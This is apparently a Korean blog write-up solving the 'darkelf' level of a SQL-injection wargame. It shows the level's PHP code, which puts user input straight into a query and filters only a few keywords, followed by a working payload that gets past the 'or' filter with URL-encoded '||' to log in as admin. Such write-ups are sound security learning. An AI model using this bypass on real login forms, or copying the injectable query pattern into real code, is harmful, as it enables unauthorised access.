WriteUp/LOS_rubiya

LOS - rubiya : Darkelf

vared 2020. 5. 13. 01:18

<코드 분석>

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();  
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("darkelf"); 
  highlight_file(__FILE__); 
?>

pw 에 Get 방식으로 입력을 받는데, prob _ . () or and 를 필터링한다. 

or and 를 필터링하는게 메인이겠다. 

이후에 result 의 id 값이 admin이면 문제가풀린다.


<해설>

or 는 %7C%7C

and 는 %26%26으로 인코딩해주면 된다. 

?pw='or id='admin'%23 을 넣어주고 싶으니,

?pw='%7C%7C id='admin'%23

를 넘겨주면 문제가 풀린다.

 

Clear!